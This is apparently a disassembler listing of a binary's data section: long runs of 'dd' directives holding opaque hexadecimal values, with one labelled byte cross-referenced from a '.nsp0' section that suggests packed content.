dd 11452AE9h, 93E3B5A3h, 8A3F79Dh, 448DA872h, 6C2F64B3h
dd 0A66A3F7h, 9677C236h, 0D4BFE7A2h, 0E325ECAFh, 627753D6h
dd 0DE42FB2Bh, 0B22A6595h, 0A2183B9Fh, 45E82A83h, 0B48B10AFh
dd 0D4710DE9h, 0E57F1731h, 0D12F7205h, 31B35661h, 86653EE2h
dd 7F0C62D4h, 857DB55Dh, 0EFADAD51h, 3E739370h, 6530205h
dd 3F805986h, 0D15BDCE3h, 382B2CDAh, 0A3628B34h, 77DA4E70h
dd 5298ABA5h, 58C509FFh, 0EDF3D937h, 84CF51F2h, 1ED0ED90h
dd 749C9FFDh, 0AD56DB95h, 0B1AE3520h, 0D5E2B164h, 92410C23h
dd 1D299D04h, 0BBE65353h, 0F51A8B0Ch, 99EE236Ch, 0EA87D271h
dd 0F6A712F2h, 7ABC0632h, 4235B0h, 33A7A940h, 788457BDh
dd 349E9AC5h, 0ADA8E99Ch, 0BF47FC81h, 0A2006BC2h, 3A2F8765h
dd 5778D699h, 0F1532FB7h, 0CC4FAECAh, 0EF805D21h, 273A4AA4h
dd 0E6B05926h, 0CD9B0EE9h, 2875021h, 765B4218h, 48DE3A88h
dd 4D707721h, 25DFBFA7h, 781F20CEh, 0ACF693EAh, 0D7FFE008h
dd 7B30BB57h, 7909CF7Eh, 62FC4336h, 145C7DFAh, 6CE08B9h
dd 0BC28C9B1h, 0D5731A21h, 6C1BE968h, 0E5EA2925h, 8F7DEF47h
dd 0AECC793Fh, 0C1D79888h, 0AC379DAAh, 0D9269A2Ah, 0CC63F23h
dd 6A161D2Dh, 7324C28Ah, 43C54611h, 0E7FAEBCh, 0ACAC258Bh
dd 0BA9A45F3h, 50F80CA3h, 6DF8A8F5h, 18B64C5Eh, 85B2C4FCh
dd 0ED63322Ah, 97B99C01h, 0CDD2428Dh, 1554E1F0h, 0F2104F07h
dd 0BC06C986h, 1BE393h, 9BF2200h, 0A8127BB4h, 734B0251h
dd 5003D99Eh, 7DB3B421h, 0FA29C83Ch, 9BDEA27Ch, 0CB703AA4h
dd 2392DE54h, 0F94346EAh, 2424EF4Fh, 0EBA4B3B0h, 6179FDB5h
dd 57046002h, 0C03A424Fh, 870F9C35h, 9AA58E4h, 31B0F7B3h
dd 53A9C16h, 7B8941C0h, 65262BDEh, 2B835628h, 0D4132A20h
dd 58C5554Eh, 66F4E387h, 77A17421h, 0E1E3D740h, 56F58519h
dd 0D35CCA7Dh, 62A9453Fh, 4172E8Bh, 0EDFA2E6h, 0BF51148Ah
dd 0EC93B4D0h, 1F7EB265h, 0ED8740E5h, 0ED88AEA2h, 7AA0FA8Fh
dd 0E6F778CEh, 820A91F2h, 9BE0FF86h, 19003B6Eh, 69676662h
dd 0EDBCC6C9h, 0FE562150h, 0FF002154h, 0CA721C6Dh, 700F9E25h
dd 9F8AFA69h, 0FB6C94BEh, 1E8B089Bh, 0F59E120Fh, 6BEEC64Fh
dd 4F898D23h, 839BAAB0h, 5D576C54h, 27D462A2h, 87B563E4h
dd 9418060Dh, 0BC4FF918h, 71A612C3h, 34E07335h, 1C635D1Ah
dd 0E081807h, 5339789Eh, 274AF08Ch, 74B4203Dh, 2D97637Ah
dd 2443ACDEh, 0CCBB056Eh, 1F2EAF99h, 1D4E7E4Ch, 452F14F9h
dd 2ACCE60Ch, 209F4D35h, 0D62988E5h, 0E0CAA850h, 891C2154h
dd 0DF9D4F45h, 0ED3D8586h, 0E4C72B42h, 9ADAAA09h, 648283D4h
dd 0D21705A1h, 6C67AFC7h, 0DD59176Ah, 550DFF7Dh, 4DD78DBBh
dd 0AB08BBAFh, 119A53D9h, 66D7E5CCh, 5E472280h, 0BDF4698Eh
dd 0B7110140h, 0E1C2B754h, 0CB775EDCh, 1FC51F39h, 0C8B41F64h
dd 0CB082119h, 202A267Fh, 0F47D82h, 38FD5F4Fh, 0A3BCDBB3h
dd 0C9B8BDFBh, 338FACC3h, 7E6EC04Eh, 2AA63A6Eh, 2D4DFB3Bh
dd 7320905Ch, 0D436204Ch, 2D885299h, 0AD4D83C2h, 0A7258C83h
dd 199C89BBh, 0BC39BE34h, 0F7FAA220h, 7133AB0Ch, 6505E9A0h
dd 7699DA3Ah, 24836B55h, 0EE74B078h, 0D459B309h, 0E631C9DDh
dd 73195894h, 3FED1FCCh, 91340BBBh, 0C2390418h, 4C8E69BCh
dd 472EABC7h, 5798010Ch, 0A7052264h, 95005903h, 0D7BF28F6h
dd 108741EDh, 0A3B37C15h, 0E3A2458Ch, 9A706D7Ah, 6F477990h
dd 809868B4h, 0B8256A3Dh, 0F7118F31h, 7B0E3DD9h, 4E27D5FFh
dd 54942E90h, 84996C65h, 0E5E50A50h, 6EADC1E1h, 0F32FA5F8h
dd 9816CEDEh, 4C3D0421h, 0A4AD9DCDh, 0F85E83Fh, 0E267AA1Dh
dd 32FFF8Bh, 682882Bh, 0CAB14668h, 2B5DE62Eh, 4110CD23h
dd 3E32E12Dh, 0DE0E9628h, 44263B7Eh, 0ADEEA415h, 0C0C753E8h
dd 468CD4F3h, 967ADD05h, 3D880964h, 0BCD1E4EDh, 0DDF39512h
dd 0A80E9EF6h, 75D5B6BBh, 29D20E84h, 1E34187Fh, 69249653h
dd 756B433Dh, 66D318A8h, 8BAEDE0Fh, 9A802D5h, 5EA5AD40h
dd 0C4D73D99h, 75181786h, 2C7D941h, 0C4762239h, 7950C2B0h
dd 5F1C119h, 57C749A8h, 0A28497Eh, 4D99E7D4h, 0A025A7DAh
dd 75462FFBh, 469E6849h, 58E35209h, 96E7A0D1h, 4A73F37Ah
dd 88089145h, 0F5BC3205h, 1DE5D9EBh, 5A6FAEEDh, 73B49614h
dd 0B6C3096Ch, 28079EF0h, 36D3643h, 0EB41F2DFh, 0D6644FDBh
dd 8173FBC5h, 5E07F040h, 0B4A4C83Bh, 0C4E203EFh, 563B33E4h
dd 65763531h, 0B2896513h, 0E1C4E49Bh, 935E785Eh, 0DC4A55EDh
dd 0E59D3DE3h, 9A57ED48h, 0F6564959h, 0B63833C2h, 0B399D128h
dd 4108715h, 0B2BA2F91h
dd 37FC60F0h, 21DA5AC1h, 0CCCEAA5Bh, 7A23B4E2h, 462895B6h
dd 7CFCA90Fh, 309AFBDEh, 8FC0562Eh, 8183F385h, 65C365C0h
dd 7CD8F34h, 0C91A336Bh, 5CFC3A1Bh, 0B3E7EF1Ch, 0FB55311h
dd 5E477D68h, 0BFA5C53Eh, 10A529BFh, 0AED4262Dh, 0C55B72C3h
dd 0E50CD1A1h, 0BC32B4F7h, 3D4E4389h, 8C67323Fh, 4B5A310Eh
dd 0C2DA7F60h, 10409652h, 0CECBE157h, 662DF7C5h, 9C19A695h
dd 0D8D0507Fh, 0DEB0800Bh, 8D3BC360h, 0ACEBB86Dh, 93F2C49Eh
dd 59126AC1h, 0A885B02Dh, 1BE3FA5Ch, 9558D496h, 442A3C47h
dd 6B29123Ah, 34506BC4h, 8D94D012h, 0B131E32Dh, 5E76625Dh
dd 4C941C86h, 0C5226385h, 0B0F5D1A2h, 9F4EDE5Dh, 0A3502F20h
dd 0E1A47D0h, 3AC18D97h, 31D34376h, 640DE1E7h, 0F27E5E98h
dd 44B8C16Ah, 3AEE01F7h, 0EDFA4D2Fh, 4E8DAE7Fh, 0F923F229h
dd 0C933CBE3h, 1F235B33h, 0B722BD1h, 0A026D625h, 0F63077DAh
dd 0A24C658Eh, 6A8C22FCh, 0F531C826h, 528E2171h, 4CFEC32Dh
dd 0D7C2993Ch, 9F1BD98Eh, 0D63AD0A9h, 0E8B3F3B4h, 0C72FA51Dh
dd 775234B0h, 40779617h, 7BB5D73Fh, 40A03E7Dh, 622E291h
dd 8A396975h, 61699EF1h, 0B9AFBB8Bh, 1DF5C3F2h, 2F02AF07h
dd 809385D6h, 9EFDA0D4h, 0DCA7CFB6h, 0CF9137C6h, 3DE39692h
dd 0E8BF0780h, 0B42E4517h, 0B66CA6A9h, 987B4947h, 100BB604h
dd 0B1FC9B12h, 30176019h, 0ACDF2D7h, 83A59659h, 0E3398B52h
dd 0CA245BE5h, 4301A193h, 49FEE095h, 0ACA188F0h, 9F9A6248h
dd 87DB36B9h, 53062CD4h, 504CD789h, 0B4FBEDB0h, 5B5192DEh
dd 6AFB4B78h, 43E20B0h, 0C2EF5F5Ah, 979721E7h, 62ECF109h
dd 56CFD1F9h, 1434D512h, 0D867E40Bh, 77FB14F5h, 0C00E2D6Fh
dd 860227FCh, 956F6BE4h, 0FD4D1D9Eh, 8D740B0Ch, 6E01EB86h
dd 520D822Dh, 7A9A7AC0h, 13167837h, 98012F92h, 0CFFC78CFh
dd 0BD1C55BAh, 0BC9DDAA9h, 0C8815323h, 7CD70E4Bh, 32441559h
dd 6B1704CEh, 623B311Ch, 8F8C07BFh, 0D63F6219h, 3CFDB405h
dd 0FE7B2B6Ah, 0F553F363h, 81BD5EEFh, 0EA06347Ch, 4AFE081Ah
dd 0ECECDBACh, 506D890Eh, 6A982508h, 0A2D5AC5Fh, 0CA10736Bh
dd 4F28D0DAh, 503FEEACh, 0B6E10D66h, 1925204Bh, 0B8A8D7CAh
dd 439E39E1h, 0D861DACBh, 38CE67C6h, 0DF9D5CFEh, 0B07BEDF2h
dd 0B1CD9B0Ch, 0C7B8D3B4h, 0F3328A52h, 1B9C11D9h, 0D46D8A19h
dd 28F5531h, 27E5340Ah, 9A089C58h, 9EF48E24h, 0C99A57FBh
dd 5AA9A563h, 0D64C9E49h, 0A687A4D9h, 0C5344513h, 2EF8520Ah
dd 995F73C5h, 0F39981B8h, 81A4745Dh, 0A0DA71C0h, 0F2CD9EFBh
dd 0B9910352h, 9A4C0C07h, 92CECCB8h, 1EDCACD3h, 0C973676Bh
dd 13EF6EF1h, 0E4C0939Eh, 0AB14B431h, 9EF6DEE0h, 625862D4h
dd 8A2D9B9h, 496E597Ah, 0EAEFBCE3h, 3EC71968h, 0BC05ADD6h
dd 3AF1371Eh, 67E339B5h, 58F0A856h, 0B07052F4h, 0A3054AC9h
dd 80E40958h, 8E2B8800h, 11DA7296h, 0BC93F47Dh, 0FCEFF1B5h
dd 754C419Bh, 76484BBBh, 53584026h, 60DAB381h, 21758633h
dd 51985D4h, 0E9949237h, 8059C4FCh, 0BA5418h, 0CE516A41h
dd 0EDF264FCh, 0F755CAA7h, 65556911h, 33C43139h, 13E653E1h
dd 0F202C58Ah, 6D484825h, 0F5D10BEBh, 6DC32401h, 0DD6EDB8Eh
dd 13B08658h, 2C69C84Dh, 90323A08h, 22B53304h, 44D9A37Dh
dd 61E8095Ch, 0B714CF1Fh, 618DAB5Dh, 841E8DA4h, 5E4405FDh
dd 0D9BCE77Bh, 37768AEh, 0E4158C0Eh, 559F7BDEh, 4393A228h
dd 3FB23D0Dh, 3EB588EFh, 1CBC745Eh, 22F450CBh, 1169DC16h
dd 0CAB3055Ch, 1D1B3FBBh, 0F1BFC9B1h, 3C209167h, 23121A81h
dd 0EF3A4BD3h, 410F16A3h, 6102DBEBh, 98CB54D1h, 0C82750A0h
dd 0F583289Eh, 2CDCE7F3h, 7BF9C64Bh, 6AA3F87h, 0B6B30843h
dd 0D12D9A03h, 1C1C79F1h, 95113092h, 52B72F28h, 0C1DEB654h
dd 673552Bh, 0CB6D2964h, 0BD968879h, 9248DA09h, 0C73119BBh
dd 8F4FD547h, 0C47E9F6Ah, 0BDC95CF9h, 0F543A249h, 0B675AE65h
dd 6DE3E87Ch, 0EAAF5E71h, 6FB98ABBh, 0F659831Bh, 0F7F573B8h
dd 0F3E6CFA9h, 19EB81C1h, 6F45B9ABh, 0AAA733FDh, 0A45E5FAFh
dd 3D0EF871h, 0EC9D33F7h, 5A2C8226h, 6E6870A6h, 0BFFD79FDh
dd 0AB1AC748h, 52A1D35Eh, 39780479h, 0ECC3E015h, 324A8F63h
dd 81BDA8BCh, 0BC1B6CABh, 0B911F3A0h, 0A1172990h, 5128A04Eh
dd 797B21A0h, 0F7B62429h, 0C0CC53DEh, 0AB634BF6h, 0DC66AB8Bh
dd 50AEF474h, 0C2616C3Ah, 5FDD5BEFh, 0BED1AB99h, 6B2B5124h
dd 19F59005h, 2FB68AAFh, 9396D5F8h, 0FD21AA1Bh, 0D11AA8C7h
dd 503E371Fh, 6D8C101Dh, 66C4FC2Ah, 4BD6DDE6h, 0FB12060Fh
dd 3D430C6h, 615741h, 0B3A1BDD0h, 9E9443BAh, 39AA015Ch
dd 9771DCE9h, 0F3670507h, 4F760B1Dh, 365B4F3Dh, 0D54BBA77h
dd 0CD4CC75Ah, 0A4263016h, 88A73467h, 5FEB9DC5h, 3C874E9Ch
dd 7204AA5Bh, 6F1B0444h, 0C7FDC65Bh, 0FBEF9918h, 889944BAh
dd 0C1F7F832h, 0F244A8A2h, 549F01EFh, 0DE4A96Ah, 0BBC81563h
dd 0A2D0C31Ch, 93CFFF4h, 0D174FAE7h, 341CB3FCh, 0DA69F0DBh
dd 0A96E4BC9h, 3AEBBEA8h, 14B3BE63h, 67526B0Eh, 653EE297h
dd 310B5108h, 0E159CB79h, 5DECBEF4h, 25B30853h, 5EE3C833h
dd 0DAA68049h, 806A20A9h, 929F4BB2h, 0A35E5A23h, 82D01291h
dd 30BC745Dh, 1F636787h, 0A3E7E562h, 379907B7h, 0B829EF0Ah
dd 0BF0BFEECh, 104CA0C9h, 0E85ACAAh, 256D124Ah, 1B489D0h
dd 9D4B7775h, 0D77C3F61h, 0CEAF03D0h, 299795F3h, 64B2D460h
dd 35D4A731h, 9D19331Fh, 0DF7F3BA4h, 0CA595DA1h, 0CC457321h
dd 299EE195h, 597F509Dh, 7354EB8Dh, 8D611827h, 5EF65F18h
dd 144A578Eh, 0ED32D2E1h, 63F43EBCh, 46732BBFh, 13F286Fh
dd 8A4DA836h, 52134A93h, 85BEB63Dh, 4550AA28h, 3AA7E8F2h
dd 2CC52018h, 0BD925A14h, 77EAE93Fh, 5B351F88h, 0DC44E803h
dd 72BAAD6Fh, 0D9B4FC35h, 5D054F98h, 0E2E60C05h, 0C0411793h
dd 8B6B3D8Bh, 0B7E40D1Dh, 3E52688Bh, 8E5523E1h, 1675DA97h
dd 47A3172Dh, 9DD969CDh, 0D3E8AAC3h, 7C4E653Ah, 0BCDEC6D1h
dd 8C202A38h, 0D66AD6EFh, 73D4756Eh, 449CE83h, 0E5F12A32h
dd 67390030h, 0E39CB905h, 0CD4B68D5h, 9375D4D8h, 607D2037h
dd 0DCFBD46Eh, 2D9EC5E3h, 151DBEF6h, 0BF52F07Fh, 5C39B4B7h
dd 0F939EA2Eh, 632B08ADh, 0C36FA4EDh, 1110A278h, 0A650F001h
dd 868ED584h, 0D570033Bh, 81BC731h, 0EAC7625Fh, 0F674F30Fh
dd 20C23892h, 0C548A3ECh, 50000FD3h, 28C21389h, 3B337D22h
dd 0F00E0A0h, 7E766BAFh, 0AA4A06AAh, 0CDCFDDA1h, 0ACB0DF22h
dd 51E6786Bh, 0D7555CB4h, 0DBFA1933h, 82E03DA4h, 530A400Ah
dd 3BC4C868h, 0A83D4B59h, 870E97Dh, 22AE1352h, 6BF416E3h
dd 695D1732h, 98A12413h, 49946FFh, 0B02BC9F9h, 7CAEC568h
dd 6D88DD82h, 31010184h, 23CF02E8h, 0BBC11465h, 6B677F2Dh
dd 0AA0E1E99h, 0DB436A12h, 0E80C2E54h, 0A9A30573h, 8B2C885Dh
dd 0EEF5C767h, 0C984E6E5h, 423D3891h, 0B044114Eh, 516451C9h
dd 0AB3CFC18h, 822D0125h, 0E016F1E5h, 0B738B23Ah, 0D2C744CDh
dd 0D9725D8Fh, 0F8A8922Ah, 0FBDBCE12h, 996335A0h, 194469C5h
dd 8B9E11C6h, 8F0B52C9h, 1F1761ACh, 33483C51h, 0F99170B2h
dd 0D43BEA0Eh, 75DEC9D0h, 0D25B8C53h, 0FD4A96B0h, 82A9FC0Eh
dd 99068EBCh, 7524840Bh, 2429C206h, 52ABD934h, 3D0E9115h
dd 0ADCF8A0Fh, 0FAFAE673h
dd 0E2262E98h, 7F4BE7A2h, 4084835Dh, 4D49C9D0h, 0DB059A5Eh
dd 4D146B1Fh, 1946C8A7h, 949E7C19h, 0B9338B80h, 2CD40FA4h
dd 850A9127h, 9CDFEAEDh, 342E56A3h, 0B5AA2DA7h, 0E9A955EEh
dd 6ACBC337h, 0BC6C5873h, 6EFD0DD7h, 0F537CD1Dh, 0D381A4CFh
dd 62CF5471h, 0F37080C5h, 7A21C76Fh, 79E3408Eh, 0C0B75FBCh
dd 7ECF5BD9h, 0B8A24285h, 30AFF802h, 0AC7E81ECh, 0ADEA54Dh
dd 0D9B68D96h, 829C1FC3h, 51D059B2h, 513CF283h, 0E58BBEA9h
dd 0EF5943Ah, 0CA56F2B8h, 7FB05B73h, 0F3237C7Bh, 9F09254Ah
dd 0F1B8FD11h, 5E8769B2h, 0EFA387E0h, 0ECAC3AB8h, 0AF879E0Ah
dd 27A31757h, 8D9F288Dh, 5FBC9A0Bh, 0FEEF8E65h, 76195C2Ah
dd 4CEBB8F5h, 9A162144h, 0C141A215h, 3B495664h, 95811C98h
dd 425B1E33h, 7B984071h, 0B52E280Dh, 0BD603B5Dh, 0E69C19FFh
dd 5ADC1355h, 0E6EEF00Dh, 0ECDAE929h, 0F6EE8D79h, 0CDC87EF1h
dd 634EE2E7h, 439BCA0Eh, 0ECA09D0Ah, 9587069Fh, 4E9BB960h
dd 395247DEh, 0DE2FB04Fh, 0AB7E4D0h, 50E391B8h, 8D4BC29Dh
dd 0C1F4CB3Fh, 0EA362380h, 4B12A347h, 3E72C9BFh, 0C6DA0C82h
dd 0FC7DBAh, 4606E8E3h, 12907327h, 0BBCACAF0h, 0DCFD0EF3h
dd 0F0F4B448h, 0F19FA91Ah, 0D581DFDFh, 50B17D17h, 6C94D3F5h
dd 0D808D5BBh, 12202478h, 6E9C1016h, 3866C36Ah, 6D95F40Ah
dd 0D8DB9980h, 7D3D9F4Bh, 9D93933Ah, 3C5A12D3h, 0CB4F8640h
dd 90C2327h, 44BB4B6Eh, 0E4F290F9h, 0ACFF6F65h, 4FD257E3h
dd 0E8F01505h, 0C744C704h, 66E6FA38h, 0D310ED34h, 831CA9F6h
dd 7DD26747h, 0C28A48AEh, 0A23B474Fh, 0D222D903h, 90896BA6h
dd 91C26105h, 0FD865C89h, 84D2B378h, 9F3F60A5h, 4E9C4554h
dd 335EA903h, 0CD142475h, 0E1F10994h, 0EED2202Eh, 7C81A8F4h
dd 9700D8BEh, 6ED53BF7h, 0FB5E7668h, 0FCC77CAh, 0DF4D4BF3h
dd 0B91F0D2Bh, 0B7E774A9h, 0CB3B8929h, 3BCA1A48h, 6AB735C3h
dd 0BC488890h, 0ED46F7A4h, 886C5395h, 0C0BD1BF6h, 6989D8E8h
dd 224E4077h, 950B1DD9h, 9D9C7DFDh, 1B7804A5h, 4E08D042h
dd 0AA526949h, 999F815Ah, 38411F9Bh, 54C1F3A2h, 0EEDE3A96h
dd 41943912h, 51A86936h, 1CED8251h, 85D559E4h, 0BD42956Bh
dd 0D79481D7h, 65588CBBh, 1FD4DF63h, 94CDCEA1h, 98FC32E6h
dd 0BD2C803Ah, 0CC7B8864h, 0E12AEDD0h, 8FD209F9h, 81E68431h
dd 769B23BDh, 736AD625h, 0B1130D0Eh, 63891122h, 96C0E98h
dd 0FDFE0F6h, 797E3287h, 8DACD232h, 13B820A7h, 0AD1E15CCh
dd 67B8A8B4h, 2D22F1ADh, 0F8BF9C9Fh, 0B3CFF809h, 105BEB9Fh
dd 3B6FF47Fh, 5ED03FDFh, 13B612FCh, 6C819F26h, 69A9C6DEh
dd 4104DF35h, 2AC69ADFh, 3A575F85h, 67CC882Eh, 323816ADh
dd 915801CDh, 0A39E742Ah, 46E7F4E6h, 84248BE3h, 4C128BC3h
dd 1E2912D6h, 0E50A2968h, 0A80D077Eh, 3CAD3903h, 0D793CF4Fh
dd 36DD0B17h, 0BD4CC08Fh, 89467FA4h, 0A3A4B4Bh, 0EDA418D5h
dd 0B58AE0FBh, 0C50D1085h, 559B47FAh, 1511D84h, 2CF9C782h
dd 87386322h, 53F1A5DEh, 0E2076A0Eh, 0EA1A1E59h, 7FE85353h
dd 0BAA48A2Ah, 250FB400h, 86E6CCA8h, 0AAD8C53Dh, 92C7F3B9h
dd 954F3717h, 0BBCF269Eh, 68561336h, 58250AE2h, 86DB6BA0h
dd 3F5DA59Ah, 3DCB0A23h, 0E7690FD1h, 0E52BFB73h, 949DE70Bh
dd 1A66B4C0h, 9FF7EF69h, 0C9C07FF4h, 9CF306A4h, 9282A96h
dd 8867DE09h, 26A6B628h, 4ED59B76h, 7C5A78D0h, 88AA6811h
dd 7D76E0D7h, 0BE36B1B6h, 0C7828234h, 55DFB149h, 6883A5FDh
dd 0B94592AAh, 0E0AB304h, 9C5533BAh, 204DE17Bh, 7BD514F9h
dd 1D1AB3CFh, 4BD613A1h, 0E2B6E71Ch, 17EDA27Ch, 0CF16D3D7h
dd 42AACDD2h, 7B87A24h, 5F98A2EEh, 55793A5h, 65DD13FFh
dd 0E104025Bh, 9D2FFF84h, 9BDF70BEh, 9193F32Fh, 1211F124h
dd 6DFE7764h, 7198080h, 5FCDCA42h, 0CADDCC6Ah, 0E0D723A6h
dd 27D39D7Ch, 0B0A8EB8Dh, 1B28A06h, 1A170282h, 0EADFEF99h
dd 0EFBF1C7Bh, 51DC3907h, 10142734h, 3886EACh, 0DF885DE8h
dd 7AA48F6Fh, 75B6D0E8h, 6EE09B5Ch, 1CFE2179h, 0BC292B69h
dd 0CC1D8120h, 0A1C89934h, 21C49998h, 0BBE146Eh, 772ECBAh
dd 981EC0Ah, 1AAA07E8h, 0E8A52E26h, 57441D8Ah, 0BDA62185h
dd 7AAA7255h, 7A72ECFDh, 0AA6F9999h, 0EF417AEAh, 0A4CC565h
dd 4CCFFC9Ah, 0BC48C8E3h, 3D201E09h, 0B019424Bh, 7BC89232h
dd 2809F431h, 94D92442h, 0E809741Dh, 5C59DD96h, 29451643h
dd 0E3E01E6Bh, 694AB835h, 9D337ED6h, 0DA4FA430h, 558A3337h
dd 0A9241699h, 0F3F61CD1h, 42AADFA6h, 7A3E48B6h, 524B62A2h
dd 303ABBEFh, 3499D9C8h, 0FB81816Bh, 4D3EB093h, 0E3F31872h
dd 0F0387A99h, 69E6F002h, 0F555CDE0h, 8200E6BBh, 8567BAC2h
dd 93A626DEh, 52D53699h, 0A70128BDh, 55147839h, 0AEBC9398h
dd 0A61AC70Ch, 7FD49095h, 32B16196h, 0E65E1534h, 0AA589132h
dd 0F104C347h, 0CC94492Ch, 9553C47Bh, 65C3DBFAh, 633245C5h
dd 6B468FB5h, 8BFF3EFEh, 8B13EA2Fh, 79830059h, 0F9E14154h
dd 5E6D0572h, 8A7F7DB1h, 2F427F69h, 1420C6A6h, 0F330BA1Dh
dd 0BA7C5C52h, 609AFD86h, 7E6FAFB4h, 16AC037Dh, 0E49D0A6h
dd 0E3B6FF18h, 502F765Ah, 0A86DA82Ch, 73B14753h, 86262FBCh
dd 0D00325C1h, 0A8B743DDh, 2AC6191Ah, 7363830Ch, 53EE454h
dd 0EBF76B6Ch, 654286F2h, 89CEE685h, 0FBAFF823h, 0DADC85D3h
dd 902ACFA8h, 0F37B74B1h, 7B457338h, 8BB891BCh, 0EE81A25Fh
dd 0C6677C11h, 3596BCD7h, 1ADEB8D8h, 470AA684h, 0F31ACEA7h
dd 1B2F207Eh, 977BB4DCh, 92E1BD77h, 916F9075h, 0E8A5A859h
dd 8A1D6A2Ch, 0A076D777h, 2477CB07h, 0E361629Eh, 5B54407h
dd 3AC7D460h, 0B537BF76h, 0D20D72E5h, 5D1BEEACh, 47B8D8F5h
dd 2D818636h, 0A4788DE4h, 0B5E3B2C2h, 0DADE40F3h, 0CEF4E682h
dd 3AED1036h, 47520DD2h, 6A38886Ah, 2F5B5E12h, 46E04ECCh
dd 78142294h, 614C9F00h, 2AA8A05Ch, 550F1D6Eh, 0B7F7F886h
dd 6A2FC3CCh, 334FA09Ch, 7675CF52h, 49A47007h, 2E2F8636h
dd 329DDB01h, 6CCA908Eh, 17F0C049h, 2E48F3EAh, 359BA143h
dd 89BDAF86h, 6517811Eh, 53774A96h, 73516CEDh, 52FD2606h
dd 9A4AC47Ah, 3BA016CEh, 0B9642E08h, 8DF45B22h, 23920B74h
dd 52ED8716h, 0B5365A3Bh, 58931F48h, 4D3C88D0h, 0FE17D345h
dd 82FAE4C9h, 0E23B6B60h, 93213702h, 3E95BE22h, 0D2C3F9E2h
dd 1DF0342Fh, 0C36D55E2h, 0AA85A4EBh, 0B940D220h, 0D84F3A85h
dd 0D1F9D55Fh, 0A048DAF2h, 556ABD81h, 0EF53AFBEh, 0A759CAD5h
dd 37DFF484h, 43F7EA7Bh, 0F879B352h, 28AD2F67h, 43F6A16Dh
dd 12011F26h, 400E37EEh, 0B0BB85C4h, 95D4B221h, 80B13B98h
dd 1603525Ah, 0B61DF2BBh, 0A3E0E721h, 4D1756E4h, 2B2A67A1h
dd 2C2B4DC5h, 0C6F2B919h, 0FB2BB4E5h, 0A05FDFE0h, 94ED10FDh
dd 516678Bh, 48D25A71h, 15F1E197h, 0FC602F7Eh, 38ECE61Bh
dd 3A086281h, 9A726BE9h, 71B41B28h, 0D3085698h, 0DF2A5702h
dd 0DE827AFAh, 0A9DA54C1h, 8830B5FBh, 0C729B557h, 0FA95D8BAh
dd 3C2ADF9Fh, 8DAFF03Eh, 0D69DDECFh, 0E3E25472h, 22584094h
dd 330B6AAFh, 94CE7F62h, 13B27992h, 2894426Eh, 0F3A3AE85h
dd 0D42B4423h, 726EB2EEh, 7D4E440Ch, 8810DBB8h, 0FB6145B3h
db 48h, 9Fh, 4Bh
byte_494843 db 87h ; DATA XREF: .nsp0:off_42EC80o
dd 25395912h, 96441443h, 684EB08Fh, 0EFF0FA74h, 0ED9221C5h
dd 871ACF05h, 0AB40394Ch, 49943FDAh, 1BF1B451h, 0AAD2F24Dh
dd 0C8ADC39Ah, 38CCE557h, 72FD04D2h, 4911DB15h, 0D8BE0E8h
dd 569926E5h, 140D1EB1h, 0BECC3A74h, 688CEAAAh, 0E6146A43h
dd 3710DB1Fh, 7E742AD5h, 0AAF058B3h, 6F8E23DFh, 6A855CCEh
dd 586C84AFh, 0A93C2193h, 2C8B7149h, 0E0B49E4h, 0C9297175h
dd 0E5DF9606h, 321CD2F4h, 0DA6BFE24h, 1F6368FEh, 4F3AE6C4h
dd 0E63E9EA6h, 0F75FB41Dh, 6E64266h, 0DDF0C90Ch, 918CDF18h
dd 186DA298h, 9684E34Ch, 0EDF593FEh, 109C50C6h, 3404E9A8h
dd 0D2A972BDh, 5F03FF2Fh, 91A550F5h, 0EDE02A74h, 26CA78B6h
dd 2C433DC4h, 9A61417Eh, 1A1E2868h, 0F3EE5E4Bh, 8943A6C5h
dd 4387358Ch, 502A69DBh, 5C28CE46h, 30C1BF22h, 6FAB5C69h
dd 0F4A66E9Bh, 9A93230Ch, 7CD93BF3h, 0C3A0A001h, 94383EF2h
dd 0E43D5339h, 586553C0h, 674E5B97h, 0D4DBD88Fh, 35481F2Ch
dd 6825DEC8h, 4C9B877Ah, 39C1BFCEh, 0EF63E6DCh, 0E4EE31A5h
dd 9FF93BFh, 0E3D580A5h, 53435370h, 0F035B1F7h, 0ABDDAEB5h
dd 0B25B4AAh, 0EE15E9C0h, 0DFCD26DFh, 0F7FCC01Fh, 1CF1306Ah
dd 0ABD3821Eh, 1987CBC5h, 827CE6A3h, 0ED1D19F6h, 0CE7422DCh
dd 63E9BE7h, 6B7EBF37h, 0A16F9CBCh, 4F13A0C2h, 0F0CD8E01h
dd 0A2F24782h, 8B0CC684h, 8AB71E8Bh, 0FE5A5F65h, 3387887h
dd 0BA532229h, 6297CF77h, 6CB53384h, 0E0BB4F02h, 48ED449Bh
dd 1CC17D69h, 86C3E081h, 6E4F2C84h, 6F36EF22h, 85AA87FFh
dd 2FFE91B8h, 34702177h, 1C16564Bh, 0ED2FDF6Eh, 0BB684F2Bh
dd 491E7A77h, 4773888Ah, 45DE0AEEh, 6643C97Ch, 0B2F31509h
dd 6A775B2Eh, 0B12B065Ch, 59131F11h, 0E0EF3327h, 0EC2B9F93h
dd 8932BE3Dh, 0B8975B3Ch, 0C6663EDDh, 0E17F52A9h, 0A496F8EEh
dd 90A58A1Eh, 0E17FFC86h, 72D55DFh, 2D88DC59h, 914AF00Ah
dd 8EA92D6Bh, 0EEACBF96h, 8DC5777Fh, 3DC069CFh, 79CD02DAh
dd 0B10E35Ah, 6AA0D3EFh, 0F9CB3E3Fh, 0D3F6B740h, 5446367Dh
dd 0CBB3A642h, 0D4FEE371h, 5764DA79h, 0B37468ECh, 7AD6EEDEh
dd 76E176C1h, 54855BEBh, 0B9CEE86Ch, 8F22A659h, 0AC2E304Eh
dd 7F5EE74Fh, 9D3F766Fh, 0D80AEE08h, 7456557Ah, 0C603B36Fh
dd 6D49C054h, 8AF26A12h, 3B984692h, 0E37F06E4h, 0BB25EC7Ah
dd 9A8C612Ch, 637D7B4h, 46C660EBh, 0AD744392h, 0EEC84DD0h
dd 0CD303D9Ah, 1889800Bh, 0B742FBEFh, 0D158C79Eh, 2FAE1504h
dd 43D87419h, 178557E2h, 6B2E248Ah, 0F0F3F83Dh, 475EE1B2h
dd 0DC8AE614h, 837C5D46h, 99CF646Ah, 74547C0Ch, 0D9D09CB1h
dd 52B64784h, 7F75AE7Bh, 3A692599h, 8C987827h, 325CD50h
dd 3B834480h, 0C0B01E89h, 0DD4380B5h, 7A910F33h, 0CFE8FF9Dh
dd 0C1668E4h, 82A00976h, 0DF768FF4h, 0D122E5E9h, 0BE205B41h
